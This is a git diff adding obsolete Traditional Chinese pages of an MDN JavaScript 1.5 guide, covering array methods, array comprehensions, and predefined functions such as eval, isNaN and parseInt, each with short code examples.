+ <li><code>reverse</code> 反轉陣列元素的順序至適當的位置。</li>
+</ul>
+
+<pre class="eval">var a = [1, 2, 3, 4];
+a.reverse();
+print(a); // 4,3,2,1
+</pre>
+
+<ul>
+ <li><code>shift</code> 移除並返回陣列的第一個元素。</li>
+</ul>
+
+<pre class="eval">var a = [1, 2, 3];
+var first = a.shift();
+print(a); // 2,3
+print(first); // 警報 1
+</pre>
+
+<ul>
+ <li><code>unshift</code> 在陣列的開頭處加入一個以上的元素，並返回新的陣列長度。</li>
+</ul>
+
+<pre class="eval">var a1 = [1, 2, 3];
+a1.unshift(4);
+print(a1); // 4,1,2,3
+</pre>
+
+<ul>
+ <li><code>slice (start_index, upto_index)</code> 返回陣列的片斷。</li>
+</ul>
+
+<pre class="eval">var a1 = ['a', 'b', 'c', 'd', 'e'];
+var a2 = a1.slice(1, 4);
+print(a2); // 警報 b,c,d
+</pre>
+
+<ul>
+ <li><code>splice(index, count_to_remove, addelement1, addelement2, ...)</code> 加入 和/或 移除陣列的元素，在適當的位置修改。</li>
+</ul>
+
+<pre class="eval">var a = ['a', 'b', 'c', 'd', 'e'];
+var removed = a.splice(1, 3, 'f', 'g', 'h', 'i');
+print(removed); // b,c,d
+print(a); // a,f,g,h,i,e
+</pre>
+
+<ul>
+ <li><code>sort</code> 在適當的位置排序陣列的元素。</li>
+</ul>
+
+<pre class="eval">var a = ['Wind', 'Rain', 'Fire'];
+a.sort();
+print(a); // Fire,Rain,Wind
+</pre>
+
+<p><code>sort</code> 也可以接受 Callback 函數來決定如何排序陣列的內容。這個函數會對兩個值做比較，並返回下列三個值其中之一︰</p>
+
+<ul>
+ <li>如果 a 在排序系統中小於 b，返回 -1（或任意的負數）</li>
+ <li>如果 a 在排序系統中大於 b，返回 1（或任意的正數）</li>
+ <li>如果 a 和 b 被認為是相等的，返回 0。</li>
+</ul>
+
+<p>例如，下面的例子會以字串的最後一個字母來排序︰</p>
+
+<pre class="eval">var a = ['Wind', 'Rain', 'Fire'];
+function sortFn(a, b) {
+  var lastA = a[a.length - 1];
+  var lastB = b[b.length - 1];
+  if (lastA &lt; lastB) return -1;
+  if (lastA &gt; lastB) return 1;
+  if (lastA == lastB) return 0;
+}
+a.sort(sortFn);
+print(a); // Wind,Fire,Rain
+</pre>
+
+<h4 id="於_JavaScript_1.6_引入" name="於_JavaScript_1.6_引入">於 JavaScript 1.6 引入</h4>
+
+<ul>
+ <li><code>indexOf(searchElement[, fromIndex)</code> 在陣列中搜尋 <code>searchElement</code> 並返回第一個符合項的索引。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   var a = ['a', 'b', 'a', 'b', 'a'];
+   alert(a.indexOf('b')); // 警報 1
+   // 現在再試一次，從最後的符合項之後的索引開始
+   alert(a.indexOf('b', 2)); // 警報 3
+   alert(a.indexOf('z')); // 警報 -1，因為找不到 'z'
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>lastIndexOf(searchElement[, fromIndex)</code> 類似 <code>indexOf</code>，但是最後面開始往回搜尋。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+   alert(a.lastIndexOf('b')); // 警報 5
+   // 現在再試一次，從最後的符合項之前的索引開始
+   alert(a.lastIndexOf('b', 4)); // 警報 1
+   alert(a.lastIndexOf('z')); // 警報 -1
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>forEach(callback{{ mediawiki.external(', thisObject') }})</code> 在每一個項目上執行 <code>callback</code>。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   var a = ['a', 'b', 'c'];
+   a.forEach(alert); // 依序警報每一個項目
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>map(callback{{ mediawiki.external(', thisObject') }})</code> 返回在每一個陣列的項目上執行 <code>callback</code> 所返回的值的新陣列。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   var a1 = ['a', 'b', 'c'];
+   var a2 = a1.map(function(item) { return item.toUpperCase(); });
+   alert(a2); // 警報 A,B,C
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>filter(callback{{ mediawiki.external(', thisObject') }})</code> 返回內含在 Callback 中返回為 true 的項目的新陣列。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   var a1 = ['a', 10, 'b', 20, 'c', 30];
+   var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+   alert(a2); // 警報 10,20,30
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>every(callback{{ mediawiki.external(', thisObject') }})</code> 返回 true，如果 <code>callback</code> 在陣列中的每一項上都返回 true。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   function isNumber(value) { return typeof value == 'number'; }
+   var a1 = [1, 2, 3];
+   alert(a1.every(isNumber)); // 警報 true
+   var a2 = [1, '2', 3];
+   alert(a2.every(isNumber)); // 警報 false
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>some(callback{{ mediawiki.external(', thisObject') }})</code> 返回 true，如果 <code>callback</code> 在陣列中至少有一個項目返回為 true。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   function isNumber(value) { return typeof value == 'number'; }
+   var a1 = [1, 2, 3];
+   alert(a1.some(isNumber)); // 警報 true
+   var a2 = [1, '2', 3];
+   alert(a2.some(isNumber)); // 警報 true
+   var a3 = ['1', '2', '3'];
+   alert(a3.some(isNumber)); // 警報 false
+</pre>
+
+<p> </p>
+
+<p>上面接受 Callback 的方法又稱為<em>迭代方法</em>，因為他們會以同樣的方式迭代整個陣列。其中第二個選用性的參數稱為 <code>thisObject</code>。如果有提供的話，<code>thisObject</code> 會變成 Callback 函數的本體內部的 <code>this</code> 關鍵字的值。</p>
+
+<p>實際上 Callback 函數會以三個參數來呼叫。第一個是使用中項目的值，第二個是他的陣列索引，第三個是陣列本身的參考。JavaScript 函數會忽略任何沒有在參數列表中命名的參數，因此提供只接受單一參數的 Callback 函數也很安全，如 <code>alert</code>。</p>
+
+<h4 id="於_JavaScript_1.8_引入" name="於_JavaScript_1.8_引入">於 JavaScript 1.8 引入</h4>
+
+<ul>
+ <li><code>reduce(callback[, initialValue)</code> 使用 <code>callback(firstValue, secondValue)</code> 把項目的列表合併成單一的值。</li>
+</ul>
+
+<p> </p>
+
+<pre class="eval">   var a = [10, 20, 30];
+   var total = a.reduce(function(first, second) { return first + second; }, 0);
+   alert(total) // 警報 60
+</pre>
+
+<p> </p>
+
+<ul>
+ <li><code>reduceRight(callback[, initialValue)</code> 類似 <code>reduce</code>，但是從最後一個元素開始。</li>
+</ul>
+
+<p><code>reduce</code> 和 <code>reduceRight</code> 明顯是迭代陣列的方法中最少的。為了把序列降至單一的值，應該把他們用於遞歸合併兩個值的演算法。</p>
+
+<h3 id="近似陣列的物件的運用" name="近似陣列的物件的運用">近似陣列的物件的運用</h3>
+
+<p> 某些 JavaScript 物件，如 <code>document.getElementsByTagName</code> 返回的 NodeList，或者在函數本體內部可以利用的 <code>arguments</code> 物件，表面上看來外觀和行為和陣列很類似，但並未共用所有的方法。例如，<code>arguments</code> 物件提供 <code>length</code> 屬性，但並未實作 <code>forEach</code> 方法。</p>
+
+<p>在 JavaScript 1.6 中引入的通用陣列，為其他類似陣列的物件提供執行 <code>Array</code> 方法的途徑。每一個標準的陣列方法在 <code>Array</code> 物件本身都有相對應的方法；例如︰</p>
+
+<pre class="eval"> function alertArguments() {
+   Array.forEach(arguments, function(item) {
+     alert(item);
+   });
+ }
+</pre>
+
+<p>這些通用方法可以在舊版本的 JavaScript 中，使用由 JavaScript 函數物件所提供的 call 方法，以更冗長的形式模擬。</p>
+
+<pre class="eval"> Array.prototype.forEach.call(arguments, function(item) {
+   alert(item);
+ });
+</pre>
+
+<p>陣列的通用方法也可以使用在字串上，因為字串提供的對字元循序存取的方式，和陣列的很類似︰</p>
+
+<pre class="eval"> Array.forEach("a string", function(char) {
+   alert(char);
+ });
+</pre>
+
+<h3 id="二維陣列" name="二維陣列">二維陣列</h3>
+
+<p>下面的代碼建立二維陣列。</p>
+
+<pre>var a = [];
+for (i = 0; i &lt; 4; i++) {
+   a[i] = [];
+   for (j = 0; j &lt; 4; j++) {
+      a[i][j] = "[" + i + ", " + j + "]";
+   }
+}
+</pre>
+
+<p>本例以如下的行來建立陣列︰</p>
+
+<pre>行 0: [0,0][0,1][0,2][0,3]
+行 1: [1,0][1,1][1,2][1,3]
+行 2: [2,0][2,1][2,2][2,3]
+行 3: [3,0][3,1][3,2][3,3]
+</pre>
+
+<h3 id="陣列的簡約式" name="陣列的簡約式">陣列的簡約式</h3>
+
+<p>在 JavaScript 1.7 中引入的陣列簡約式（array comprehension），對於以其他內容為基礎來建構新陣列提供了很有用的捷徑。簡約式通常可以用在 <code>map()</code> 和 <code>filter()</code> 呼叫的地方，或是結合這兩者的方式。</p>
+
+<p>下面的簡約式接收數字的陣列，並建立每一個數字的雙倍的新陣列。</p>
+
+<pre>var numbers = [1, 2, 3, 4];
+var doubled = [i * 2 for each (i in numbers)];
+alert(doubled); // 警報 2,4,6,8
+</pre>
+
+<p>這等同於下面的 <code>map()</code> 操作︰</p>
+
+<pre>var doubled = numbers.map(function(i) { return i * 2; });
+</pre>
+
+<p>簡約式也可以用於選取符合特定表達式的項目。這是只選取偶數的簡約式︰</p>
+
+<pre>var numbers = [1, 2, 3, 21, 22, 30];
+var evens = [i for each (i in numbers) if (i % 2 == 0)];
+alert(evens); // 警報 2,22,30
+</pre>
+
+<p><code>filter()</code> 也可以用於同樣的用途︰</p>
+
+<pre>var evens = numbers.filter(function(i) { return i % 2 == 0; });
+</pre>
+
+<p><code>map()</code> 和 <code>filter()</code> 這類型的操作可以合併至單一的陣列簡約式。這是只篩出偶數的簡約式，然後建立內含雙倍數值的新陣列。</p>
+
+<pre>var numbers = [1, 2, 3, 21, 22, 30];
+var doubledEvens = [i * 2 for each (i in numbers) if (i % 2 == 0)];
+alert(doubledEvens); // 警報 4,44,60
+</pre>
+
+<p>陣列簡約式的方括號導入了默許的作用域區塊。新的變數（如範例中的 i）會被視為已經使用 <code>let</code> 宣告過了。其意義是不能在簡約式的外部使用這些變數。</p>
+
+<p>輸入到陣列的簡約式本身並不需要是陣列；也可以使用 <a class="internal" href="/zh_tw/JavaScript_1.7_%E6%96%B0%E9%AE%AE%E4%BA%8B#%E8%BF%AD%E4%BB%A3%E5%99%A8%E5%92%8C%E7%94%A2%E7%94%9F%E5%99%A8" title="zh tw/JavaScript 1.7 新鮮事#迭代器和產生器">迭代器和產生器</a>。</p>
+
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:繼承", "Core_JavaScript_1.5_教學:迭代器和產生器") }}</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Arrays" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/escape_和_unescape_函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/escape_和_unescape_函數/index.html
new file mode 100644
index 0000000000..504d49f757
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/escape_和_unescape_函數/index.html
@@ -0,0 +1,19 @@
+---
+title: escape 和 unescape 函數
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數/escape_和_unescape_函數
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+<div class="onlyinclude">
+<h4 id="escape_和_unescape_函數">escape 和 unescape 函數</h4>
+<p><code>escape</code> 和 <code>unescape</code> 函數可讓你把字串編碼或解碼。<code>escape</code> 函數會返回以 ISO Latin 字元集來表示參數的十六進制編碼。<code>unescape</code> 函數會對指定的十六進制編碼值返回 ASCII 字串。</p>
+<p>這些函數的語句是︰</p>
+<pre>escape(string)
+unescape(string)
+</pre>
+<p>這些函數主要是在伺服端的 JavaScript 用來編碼或解碼 URL 裡的名稱和值的配對。</p>
+<p><code>escape</code> 和 <code>unescape</code> 函數在非 ASCII 字元下無法正確運作，也已被廢棄。在 JavaScript 1.5 及其後版本中，可以改用 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%87%BD%E6%95%B8/encodeURI" title="zh tw/Core JavaScript 1.5 參考/全域函數/encodeURI">encodeURI</a></code>、<code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%87%BD%E6%95%B8/decodeURI" title="zh tw/Core JavaScript 1.5 參考/全域函數/decodeURI">decodeURI</a></code>、<code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%87%BD%E6%95%B8/encodeURIComponent" title="zh tw/Core JavaScript 1.5 參考/全域函數/encodeURIComponent">encodeURIComponent</a></code>、<code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%87%BD%E6%95%B8/decodeURIComponent" title="zh tw/Core JavaScript 1.5 參考/全域函數/decodeURIComponent">decodeURIComponent</a></code>。</p>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數:Number_和_String_函數", "Core_JavaScript_1.5_教學:閉鎖的運用") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_escape_y_unescape", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_escape_et_unescape", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/eval_函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/eval_函數/index.html
new file mode 100644
index 0000000000..ef2b0ede4c
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/eval_函數/index.html
@@ -0,0 +1,16 @@
+---
+title: eval 函數
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數/eval_函數
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+<div class="onlyinclude">
+<h4 id="eval_函數" name="eval_函數">eval 函數</h4>
+<p><code>eval</code> 函數無須參考實際的物件，就可以對 JavaScript 代碼的字串直接求值。eval 語法如下︰</p>
+<pre>eval(expr)
+</pre>
+<p>此處 <code>expr</code> 就是要被求值的字串。</p>
+<p>如果字串表示成表達式，<code>eval</code> 就會對表達式求值。如果參數（<code>expr</code>）表示成一個以上的 JavaScript 語句，eval 就會對語句求值。<code>eval</code> 代碼的作用域等同於呼叫端代碼的作用域。不要用 <code>eval</code> 來對算術表達式求值，JavaScript 會自動的對算術表達式來求值。</p>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數", "Core_JavaScript_1.5_教學:預先定義的函數:isFinite_函數") }}</p>
+<p>{{ languages( {"en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_eval", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/index.html
new file mode 100644
index 0000000000..ead72c88be
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/index.html
@@ -0,0 +1,14 @@
+---
+title: 預先定義的函數
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+<div class="onlyinclude">
+<h3 id="預先定義的函數" name="預先定義的函數">預先定義的函數</h3>
+<p>JavaScript 有一些最頂層的已預先定義的函數︰</p>
+<ul> <li><a href="/zh%20tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E5%87%BD%E6%95%B8/eval_%E5%87%BD%E6%95%B8" title="zh tw/Core_JavaScript_1.5_教學/預先定義的函數/eval_函數">eval</a></li> <li><a href="/zh%20tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E5%87%BD%E6%95%B8/isFinite_%E5%87%BD%E6%95%B8" title="zh tw/Core_JavaScript_1.5_教學/預先定義的函數/isFinite_函數">isFinite</a></li> <li><a href="/zh%20tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E5%87%BD%E6%95%B8/isNaN_%E5%87%BD%E6%95%B8" title="zh tw/Core_JavaScript_1.5_教學/預先定義的函數/isNaN_函數">isNaN</a></li> <li><a href="/zh%20tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E5%87%BD%E6%95%B8/parseInt_%E5%92%8C_parseFloat_%E5%87%BD%E6%95%B8" title="zh tw/Core_JavaScript_1.5_教學/預先定義的函數/parseInt_和_parseFloat_函數">parseInt 和 parseFloat</a></li> <li><a href="/zh%20tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E5%87%BD%E6%95%B8/Number_%E5%92%8C_String_%E5%87%BD%E6%95%B8" title="zh tw/Core_JavaScript_1.5_教學/預先定義的函數/Number_和_String_函數">Number 和 String</a></li> <li><a href="/zh%20tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E5%87%BD%E6%95%B8/escape_%E5%92%8C_unescape_%E5%87%BD%E6%95%B8" title="zh tw/Core_JavaScript_1.5_教學/預先定義的函數/escape_和_unescape_函數">encodeURI、decodeURI、encodeURIComponent、decodeURIComponent（Javascript 1.5 以後的版本皆可使用）。</a></li>
+</ul>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:arguments_物件的使用", "Core_JavaScript_1.5_教學:預先定義的函數:eval_函數") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/isfinite_函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/isfinite_函數/index.html
new file mode 100644
index 0000000000..34682af619
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/isfinite_函數/index.html
@@ -0,0 +1,23 @@
+---
+title: isFinite 函數
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數/isFinite_函數
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+<div class="onlyinclude">
+<h4 id="isFinite_函數">isFinite 函數</h4>
+<p><code>isFinite</code> 函數會對參數求值，來判斷是否是有限的數字。<code>isFinite</code> 的語法如下︰</p>
+<pre>isFinite(number)
+</pre>
+<p>此處的 number 就是要求值的數字。</p>
+<p>如果參數是 <code>NaN</code>、正無限大、負無限大，這個方法就會返回 <code>false</code>，否則就會返回 <code>true</code>。</p>
+<p>以下的代碼會檢查客戶端的輸入，來判斷是否是有限的數字。</p>
+<pre>if(isFinite(ClientInput))
+{
+   /* 適當的處理 */
+}
+</pre>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數:eval_函數", "Core_JavaScript_1.5_教學:預先定義的函數:isNaN_函數") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isFinite", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/isnan_函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/isnan_函數/index.html
new file mode 100644
index 0000000000..4142f907f0
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/isnan_函數/index.html
@@ -0,0 +1,25 @@
+---
+title: isNaN 函數
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數/isNaN_函數
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+<div class="onlyinclude">
+<h4 id="isNaN_函數">isNaN 函數</h4>
+<p><code>isNaN</code> 函數對參數求值，來判斷是不是〝NaN〞（不是數字，not a number）。<code>isNaN</code> 的語句如下︰</p>
+<pre>isNaN(testValue)
+</pre>
+<p>此處的 <code>testValue</code> 就是你想要求值的值。</p>
+<p><code>parseFloat</code> 和 <code>parseInt</code> 函數會在求出來的值不是數字的時候返回〝NaN〞<span style="font-family: monospace;">。</span>如果傳入的是〝NaN〞，<code>isNaN</code> 返回 true，否則為 false。</p>
+<p>以下的代碼會對 <code>floatValue</code> 求值，來判斷這是不是數字，然後呼叫相應的程序︰</p>
+<pre>floatValue=parseFloat(toFloat)
+
+if (isNaN(floatValue)) {
+   notFloat()
+} else {
+   isFloat()
+}
+</pre>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數:isFinite_函數", "Core_JavaScript_1.5_教學:預先定義的函數:parseInt_和_parseFloat_函數") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isNaN", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/number_和_string_函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/number_和_string_函數/index.html
new file mode 100644
index 0000000000..2485e52a22
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/number_和_string_函數/index.html
@@ -0,0 +1,34 @@
+---
+title: Number 和 String 函數
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數/Number_和_String_函數
+translation_of: Web/JavaScript/Guide/Functions
+---
+<h4 id="Number_和_String_函數">Number 和 String 函數</h4>
+<div class="onlyinclude">
+<p><code>Number</code> 和 <code>String</code> 函數讓你把物件轉換為數字或字串。這些函數的語句是︰</p>
+<pre>var objRef=Number(objRef);
+var objRef=String(objRef);
+</pre>
+<p>此處的 <code>objRef</code> 就是物件的參考。</p>
+<p>以下的範例把 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/Date" title="zh tw/Core JavaScript 1.5 參考/全域物件/Date">Date</a></code> 物件轉換為可讀的字串。</p>
+<pre>var D = new Date (430054663215);
+// 返回以下字串
+// "Thu Aug 18 04:37:43 GMT-0700 (Pacific Daylight Time) 1983"
+var x = String(D);
+</pre>
+</div>
+<p> </p>
+<p>以下範例把 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/String" title="zh tw/Core JavaScript 1.5 參考/全域物件/String">String</a></code> 物件轉換為 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/Number" title="zh tw/Core JavaScript 1.5 參考/全域物件/Number"><font face="Courier New">Number</font></a> 物件。</p>
+<pre>var str="12";
+var num=Number(str);
+</pre>
+<p>你可以使用 DOM 的方法 write() 和 JavaScript 的 typeof 運算子來檢驗。</p>
+<pre>var str="12";
+document.write(typeof str);
+document.write("&lt;br/&gt;");
+var num=Number(str);
+document.write(typeof num);
+</pre>
+<p> {{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數:parseInt_和_parseFloat_函數", "Core_JavaScript_1.5_教學:預先定義的函數:escape_和_unescape_函數") }}</p>
+<p>{{ languages( {"en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_Number_y_String", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_Number_et_String", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/parseint_和_parsefloat_函數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/parseint_和_parsefloat_函數/index.html
new file mode 100644
index 0000000000..65d1287175
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的函數/parseint_和_parsefloat_函數/index.html
@@ -0,0 +1,21 @@
+---
+title: parseInt 和 parseFloat 函數
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的函數/parseInt_和_parseFloat_函數
+---
+<p> </p>
+<div class="onlyinclude">
+<h4 id="parseInt_和_parseFloat_函數">parseInt 和 parseFloat 函數</h4>
+<p>這兩個〝分析〞<span style="font-family: monospace;">函數，</span><code>parseInt</code> 和 <code>parseFloat</code>，會在給與字串作為參數時返回數值。</p>
+<p><code>parseFloat</code> 的語句如下</p>
+<pre>parseFloat(str)
+</pre>
+<p>此處的 <code>parseFloat</code> 會分析他自己的參數，字串 <code>str</code>，並試著返回浮點數。如果遇到正負符號 (+ 或 -)、數字 (0-9)、小數點、指數以外的字元，他就會返回在此之前的數值，並忽略那些字元。如果連第一個字元也不可以轉換為數字，就會返回〝NaN〞（不是數字）。</p>
+<p><code>parseInt</code> 的語句如下</p>
+<pre>parseInt(str [, radix])
+</pre>
+<p><code>parseInt</code> 會分析他自己的參數，字串 <code>str</code>，並試著返回由第二個參數所指定的 <code>radix</code> （基數）的整數。<code>radix</code> 為選用性參數。舉例來說，以 10 為底的基數表示要轉換為十進制數，8 是八進制，16 是十六進制，依此類推。對於 10 以上的基數，就會使用字母來表示大於九的數字。例如，十六進制數（基數 16），就會用到 A 到 F 的字母。</p>
+<p>如果 <code>parseInt</code> 遇到不是在指定基數之內的字元，就會直接忽略這個字元及其隨後字元，並返回在此之前已經分析出來的整數值。如果連第一個字元也不可以轉換為指定基數之內的字元，就會返回〝NaN〞。<code>parseInt</code> 函數會切除字串以取得整數值。</p>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數:isNaN_函數", "Core_JavaScript_1.5_教學:預先定義的函數:Number_和_String_函數") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_parseInt_y_parseFloat", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_parseInt_et_parseFloat", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/array_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/array_物件/index.html
new file mode 100644
index 0000000000..a806c4dfac
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/array_物件/index.html
